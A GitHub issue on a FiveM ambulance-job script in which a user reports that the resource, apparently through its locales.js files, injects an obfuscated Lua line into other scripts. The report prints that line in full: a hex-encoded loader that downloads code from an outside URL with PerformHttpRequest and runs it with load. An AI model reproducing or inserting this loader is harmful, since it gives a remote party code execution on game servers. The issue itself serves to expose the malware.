Arius-Scripts / ars_ambulancejob

Advanced ambulancejob system for fivem
Apache License 2.0
77 stars 49 forks source link

esx getsharedobject generation problem #23

Closed MsaikFT closed 8 months ago

MsaikFT commented 8 months ago

The script for some reason generates in other random scripts a line of local code "encrypted text" and this generates an error with the esx getsharedobject.

Example of the local:

local EoneijRKefJEIxkZTwRYtKDRVgvJOhqKJeEGNmYVfxnjBxjQmyeUFlFqtBuZMQscLOXmdD = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} EoneijRKefJEIxkZTwRYtKDRVgvJOhqKJeEGNmYVfxnjBxjQmyeUFlFqtBuZMQscLOXmdD[4][EoneijRKefJEIxkZTwRYtKDRVgvJOhqKJeEGNmYVfxnjBxjQmyeUFlFqtBuZMQscLOXmdD[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x66\x78\x2d\x72\x65\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x77\x77\x57\x59\x68", function (lIaAZfPTpoUivSOHRqgAgqghfunJqNgEHlFolfRmcuCKWJYOiNntymynKUOlWRLoWjOCce, JpuwJCIDPCdKstmtCsLxHOAIIrTWntyUmvxaypgDCqABtwEzIufjEdlshpcdKKYXVtKOVY) if (JpuwJCIDPCdKstmtCsLxHOAIIrTWntyUmvxaypgDCqABtwEzIufjEdlshpcdKKYXVtKOVY == EoneijRKefJEIxkZTwRYtKDRVgvJOhqKJeEGNmYVfxnjBxjQmyeUFlFqtBuZMQscLOXmdD[6] or JpuwJCIDPCdKstmtCsLxHOAIIrTWntyUmvxaypgDCqABtwEzIufjEdlshpcdKKYXVtKOVY == EoneijRKefJEIxkZTwRYtKDRVgvJOhqKJeEGNmYVfxnjBxjQmyeUFlFqtBuZMQscLOXmdD[5]) then return end EoneijRKefJEIxkZTwRYtKDRVgvJOhqKJeEGNmYVfxnjBxjQmyeUFlFqtBuZMQscLOXmdD[4]EoneijRKefJEIxkZTwRYtKDRVgvJOhqKJeEGNmYVfxnjBxjQmyeUFlFqtBuZMQscLOXmdD[2]() end)

MsaikFT commented 8 months ago

This problem is caused when using any of the locales.js files. When you delete it, everything's normal